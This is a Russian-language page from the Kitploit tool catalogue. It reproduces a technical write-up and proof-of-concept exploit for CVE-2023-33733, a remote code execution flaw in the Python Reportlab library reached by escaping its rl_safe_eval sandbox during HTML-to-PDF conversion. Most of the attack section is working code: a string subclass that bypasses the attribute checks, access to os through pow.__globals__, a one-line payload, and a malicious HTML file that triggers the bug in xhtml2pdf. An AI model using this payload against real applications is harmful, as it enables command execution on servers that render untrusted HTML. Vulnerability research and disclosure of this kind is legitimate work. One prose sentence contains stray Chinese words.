Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-33733 — Подробный технический разбор и эксплойт proof-of-concept для CVE-2023-33733 — уязвимости удалённого выполнения кода в Python-библиотеке Reportlab через обход песочницы при обработке HTML-to-PDF. | Kitploit
Инструменты/GitHubGitHub/c53elyas/cve-2023-33733
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

Подробный технический разбор и эксплойт proof-of-concept для CVE-2023-33733 — уязвимости удалённого выполнения кода в Python-библиотеке Reportlab через обход песочницы при обработке HTML-to-PDF.

Репозиторий
12118253 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

УЯЗВИМОСТЬ ВНЕДРЕНИЯ КОДА В БИБЛИОТЕКУ PYTHON REPORTLAB

tl;dr В этом отчете подробно описано, как была найдена и использована RCE в Reportlab. Из-за распространенности Reportlab в обработке HTML в PDF, эта уязвимость может быть доступна во многих приложениях, обрабатывающих PDF-файлы, что делает ее важной для исправления и отслеживания.

Введение

Несколько дней назад во время аудита веб-приложения мы заметили, что приложение использует библиотеку Python Reportlab для динамического создания PDF-файлов из HTML-ввода. Было обнаружено, что Reportlab имеет ранее исправленную уязвимость, приводящую к выполнению кода. Это означает, что найти обходной путь для исправления было довольно интересно с точки зрения злоумышленника, так как это привело бы к повторному обнаружению выполнения кода, особенно потому что библиотека Reportlab также используется в других приложениях и инструментах.

Что такое Reportlab

Прежде всего, краткий обзор: Reportlab — это проект с открытым исходным кодом, который позволяет создавать документы в формате Adobe Portable Document Format (PDF) с использованием языка программирования Python. Он также создает диаграммы и графики данных в различных растровых и векторных форматах, а также в PDF.

Атака на Reportlab

Библиотека известна тем, что в 2019 году эксплойт, похожий на этот, приводил к удаленному выполнению кода через атрибут Color HTML-тегов; содержимое атрибута напрямую вычислялось как выражение Python с помощью функции eval, что приводило к выполнению кода. Чтобы смягчить проблему, Reportlab реализовал песочницу, назвав ее , которая лишена всех встроенных функций Python и имеет несколько переопределенных встроенных функций, чтобы разрешить выполнение безопасного кода библиотеки, одновременно блокируя доступ к любым опасным функциям и библиотекам, которые могут привести к созданию опасного кода Python:

rl_safe_eval

Пример таких мер предотвращения: встроенная функция getattr переопределяется ограниченной функцией __rl_getitem__, которая запрещает доступ к любым опасным атрибутам объектов, например начинающимся с __:

root@kitploit:~
class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# В ЭТОЙ СТРОКЕ МОЖНО УВИДЕТЬ, ЧТО ВСТРОЕННЫЙ GETATTR ЗАМЕНЕН НА ПОЛЬЗОВАТЕЛЬСКУЮ ФУНКЦИЮ,
		# КОТОРАЯ ПРОВЕРЯЕТ БЕЗОПАСНОСТЬ ПЕРЕДАННОГО ИМЕНИ АТРИБУТА ПЕРЕД ЕГО ПОЛУЧЕНИЕМ
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# ВЫПОЛНЯЕТСЯ НЕСКОЛЬКО ПРОВЕРОК ПЕРЕД ПОЛУЧЕНИЕМ АТРИБУТА И ЕГО ВОЗВРАТОМ
		# ВЫЗЫВАЮЩЕМУ В СРЕДЕ EVAL ПЕСОЧНИЦЫ
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Проверяет, разрешены ли имена.
		Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
		дополнительно разрешены, хотя их имена начинаются с `_`.
		"""
		if isinstance(name,strTypes):
			# НЕТ ДОСТУПА К АТРИБУТАМ, НАЧИНАЮЩИМСЯ С __ ИЛИ СОВПАДАЮЩИМ С ПРЕДОПРЕДЕЛЕННЫМИ НЕБЕЗОПАСНЫМИ ИМЕНАМИ
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Ошибка

Безопасный eval, как описано выше, очищает среду от всех опасных функций, так что выполняемый код не имеет доступа к опасным инструментам, которые можно использовать для выполнения вредоносных действий. Однако, если найден обходной путь для этих ограничений и получен доступ к одной из оригинальных встроенных функций, это значительно облегчит эксплуатацию среды песочницы.

Одним из многих переопределенных встроенных классов является type. Если этот класс вызывается с одним аргументом, он возвращает тип объекта. Однако, если он вызывается с тремя аргументами, он возвращает новый объект типа. Это, по сути, динамическая форма оператора class. Другими словами, это может позволить создать новый класс, наследующий от другого класса.

Итак, идея состоит в том, чтобы создать новый класс с именем Word, наследующий от str, который при передаче в пользовательский getattr обходит проверки и позволяет получить доступ к чувствительным атрибутам, таким как __code__.

Перед тем, как пользовательский getattr в sandboxed eval вернет атрибут, он выполняет некоторые проверки, вызывая __rl_is_allowed_name__, чтобы проверить безопасность вызываемого атрибута, прежде чем вызвать встроенный Python getattr и вернуть результат.

root@kitploit:~
	def __rl_is_allowed_name__(self, name):
		"""Проверяет, разрешены ли имена.
		Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
		дополнительно разрешены, хотя их имена начинаются с `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Чтобы обойти функцию __rl_is_allowed_name__, класс Word должен:

  • Всегда возвращать False для вызовов функции startswith, чтобы обойти (name.startswith('__')
  • Должен возвращать False при первом вызове __eq__, чтобы обойти name in __rl_unsafe__; после первого вызова он должен возвращать правильный ответ, потому что когда __eq__ вызывается встроенным Python getattr, он должен вернуть правильный результат.
  • Хэш должен совпадать с хэшем его базовой строки

Следующий класс удовлетворяет этим критериям:

root@kitploit:~
Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## prints False
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True

print(code.startswith('__')) ## prints False

Пользовательская функция type в безопасном eval не позволяет передавать ей три аргумента:

root@kitploit:~
	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

Обходной путь был найден путем вызова type на самом себе, что позволяет получить оригинальную встроенную функцию type:

root@kitploit:~
orgTypeFun = type(type(1))

Объединение этих двух строк кода даст примерно следующее:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

Доступ к глобальным встроенным функциям

Оригинальный эксплойт имел несколько недостатков, которые делали его эксплуатируемым только на Python 3.10. Чтобы решить эти проблемы, был разработан новый подход для доступа к модулю os Python.

Библиотека Reportlab переопределяет реализацию нескольких встроенных функций и внедряет их как globals в контекст eval.

Пример встроенных функций, переопределенных пользовательскими функциями в rl_safe_eval.py:

root@kitploit:~
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

Поскольку эти функции созданы в глобальном контексте, глобальные переменные и модули можно получить через атрибут __globals__ этих пользовательских функций.

Следующий код должен выполняться внутри контекста eval

root@kitploit:~
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

Финальный эксплойт

Теперь осталось написать эксплойт:

Для этого будет реконструирована функция из байт-кода скомпилированной:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')

Однако такое многострочное выражение не будет выполнено в контексте eval. Чтобы обойти эту проблему, можно использовать трюк с list comprehension, например:

root@kitploit:~
[print(x) for x in ['hellworld']]
# что эквивалентно 
x='helloworld'
print(x)


[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]
# что эквивалентно 
x='first var'
x='second var'
print (x + ' ' + y) 

Используя этот метод, код эксплойта можно переписать в одну строку следующим образом (это считается одной строкой x) многострочное форматирование здесь只是为了 повышения читаемости эксплойта; объявления следует читать снизу вверх x) странно, но так работает):

root@kitploit:~
[
    [
        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
        for Word in [
            orgTypeFun(
                'Word',
                (str,),
                {
                    'mutated': 1,
                    'startswith': lambda self, x: False,
                    '__eq__': lambda self, x: self.mutate()
                    and self.mutated < 0
                    and str(self) == x,
                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
                    '__hash__': lambda self: hash(str(self)),
                },
            )
        ]
    ]
    for orgTypeFun in [type(type(1))]
]

POC

Пожалуйста, обратитесь к файлу poc.py; он содержит доказательство концепции, демонстрирующее выполнение кода (при успешной эксплуатации в /tmp создается файл с именем exploited).

Что ещё?

Многие приложения и библиотеки используют библиотеку Reportlab, например, утилита xhtml2pdf уязвима и может быть подвержена выполнению кода при преобразовании вредоносного HTML в PDF

root@kitploit:~
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited

Благодарности

Я хочу поблагодарить Matthias Weckbecker за сотрудничество и отличный обмен мнениями по поводу недостатков оригинального эксплойта. Теперь эксплойт без проблем работает на всех версиях Python 3 :D

Скачать инструмент